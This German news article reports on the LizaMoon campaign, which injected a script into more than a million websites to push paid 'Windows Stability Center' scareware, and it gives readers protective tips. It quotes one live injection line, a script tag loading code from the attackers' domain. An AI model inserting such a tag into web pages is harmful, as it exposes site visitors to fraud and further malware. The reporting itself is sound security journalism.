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Zum journalistischen Leitbild von t-online.Sicherheit LizaMoon lockt millionenfach in Scareware-Falle

LizaMoon macht das Internet unsicher – haben Millionen von Internetseiten damit verseucht. Der fiese Schädling jubelt den Besuchern sogenannte Scareware unter. Ziel der Online-Kriminellen ist es, den Opfern Geld aus der Tasche zu locken.
LizaMoon ist eigentlich kein neuer Schadcode, denn erste Infektionen traten bereits im September 2010 auf. Aber das Sicherheitsunternehmen Zscaler hat aktuell einen gewaltigen Anstieg der Infektionen festgestellt. Von Februar bis März hat sich die Zahl der befallenen Internetseiten mehr als verzwanzigfacht und derzeit sind über 1,7 Millionen Internetangebote betroffen. Der im HTML-Code einer Seiten versteckte Schadcode ist nur wenige Zeichen lang und sieht beispielsweise so aus: <script src=http://stmyst.com/ur.php>.
LizaMoon lockt Surfer in Scareware-Falle
Die fiese Codezeile gelangt über eine Schwachstelle der Server-Software auf die dort geparkte Internetseite. Dies könnten durchaus seriöses Angebote wie beispielsweise Firmenseiten und Online-Shops sein, wie die US-amerikanischen Sicherheitsexperten warnen. Beim Aufruf der Internetseite schlägt die Scareware-Falle zu.
Die Masche der Software-Betrüger
Es öffnet sich eine Warnmeldung, die dem Besucher mitteilt, dass sein Betriebssystem von Viren befallen sei oder das es Sicherheitsprobleme gäbe. Natürlich bietet die betrügerische Internetseite auch gleich die Lösung der Probleme an. Der Nutzer soll sich eine kostenpflichtige Software namens Windows Stability Center für 80 US-Dollar (umgerechnet 60 Euro) herunter laden, die alle Probleme angeblich beseitigt. Diese Software ist aber nicht nur nutzlos, sie hat meist weitere Schädlinge wie Viren und Trojaner im Schlepptau, die den Computer dann tatsächlich unbrauchbar machen.
Skepsis ist die beste Abwehr gegen Scareware
Der beste Schutz gegen Scareware ist, sich nicht einschüchtern zu lassen. Öffnen sich beim Besuch einer unbekannten Internetseite plötzlich scheinbare Systemmeldungen, die vor Viren warnen? Dann gibt es nur eins: Ignorieren Sie die Meldungen und schließen Sie die Internetseite. Am sichersten gelingt dies über die Tastenkombination Alt und F4. Wollen Sie sicher gehen, dass der PC wirklich nicht von Viren befallen ist, scannen Sie Ihren Computer lieber mit einem seriösen und Ihnen bekannten Antiviren-Programm.